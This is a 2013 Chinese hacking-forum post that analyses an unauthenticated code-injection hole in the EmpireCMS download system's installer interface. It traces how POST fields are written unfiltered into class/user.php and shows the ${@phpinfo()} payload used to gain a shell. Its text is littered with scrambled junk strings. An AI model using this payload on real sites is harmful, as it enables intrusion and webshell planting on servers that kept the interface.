中国网络渗透测试联盟

标题: 帝国万能接口漏洞0day [打印本页]

作者: admin    时间: 2013-1-23 09:34
标题: 帝国万能接口漏洞0day
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
6 t* N2 W4 @. i8 R# c/ m( }: G% ~" G) ~

: }2 o  d3 ?- e5 m* b) P
这是帝国的一套下载系统 如图
! L) q1 }/ J/ K' o4 [8 Cps(不需要任何账户和密码,直接写shell)

  i1 y6 Y1 ^* A7 Q. t

由于很多站是由于下载要整合discuz 等等一些论坛....
8 d7 l6 D" m: Z4 _. ^$ S

" B( \- q5 p6 S! H( d5 U

而帝国他又有一个万能接口,如图

" v; A. e+ M; ~$ M. J
[attach]170[/attach]
7 S9 S$ c0 w# S: e8 l+ J
& V, `7 r$ P! B5 [- r

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
$ X7 E5 J4 O+ Y. Q" j) e% R' a. Y) o
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪8 K  I, M% r  N! I
3 }; R$ S& q# c% v0 h, Y
在data/fun.php中的15行) Y6 D/ F" W* c* z( V9 {" g3 |$ G
+ a  x+ ]- w2 ?: W5 |$ E  B! z* m
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {, m/ L* h3 w1 r& Q; F# R/ O1 [
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干. {) e" |' A  |# V4 {
5 q& U2 j/ Q- Z$ e" ^
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);9 l! M+ p+ E2 w) G4 u4 P
" t5 v5 c# `( u; a- _7 o# s
他将传进来的变量进行了切割,然后赋给了$filetext( m' w1 [) V6 Q
. ]2 D7 |0 @5 y6 S5 ~3 P9 d. d' ]
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
7 _4 N" u7 g) O  D2 T# S7 ~, Y8 p0 s. S: b$ O0 L+ ]
我们看看写入的结果,随便填一个


; C# K" _# E3 `6 |. }" [4 |' F[attach]171[/attach]8 p$ ]9 F) p9 L. W( `% g, T

8 ?8 j) @) {  G5 Y4 I7 V1 _$ B' _+ |; _# _
[attach]172[/attach]
. G$ Z! t, o! r! ~
* q  e* p: B( ?9 J, K4 j  w: u4 {
3 u6 y; U$ Y5 C+ V; L% ~+ N

# g+ F& U( ?2 C+ {+ |! R  b

# v" L3 a& C3 W2 G" h/ J: C- \6 f1 ?! p: B- V' \

6 W$ v7 }2 O) V- @/ V4 z7 e. u. Z+ }: S  g- N6 ~* h6 n

8 y! w' A  `3 s4 I& C# E
' p4 b' c( W4 M7 b, Q# g9 x  b[attach]173[/attach]

% r/ X, j. _  o) D2 f5 ]: S# l
+ ]' L3 s( q8 y. Y/ i& E8 r
4 Z0 F7 H7 `8 L: |2 C+ C; z0 p) ~- h, v' ?! X( U8 H7 J6 @8 J

3 U, p. N5 @. ]3 K3 v3 E1 c6 j( o9 t/ R; `5 W0 A. Q
[attach]174[/attach]  D5 j! ?) F! V; Y! ]1 h2 Q. h

% T5 O: @) `4 X8 V

所以我们淫荡点,写个${@phpinfo()}试试


  ~1 e7 v, F9 i( a$ Q. o5 S

然后访问以下class/user.php这个文件
% ~+ ]6 s2 m& V$ a4 z日了吧


7 e! K( `5 W0 l5 Z

6 g/ G: [7 O( c) E8 X. E

1 @6 t$ e+ H: d2 b% Y0 B. ]/ D6 P& @- b) l
% \/ y6 _3 ]$ H* ]
7 V. J8 L  T+ F( J





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2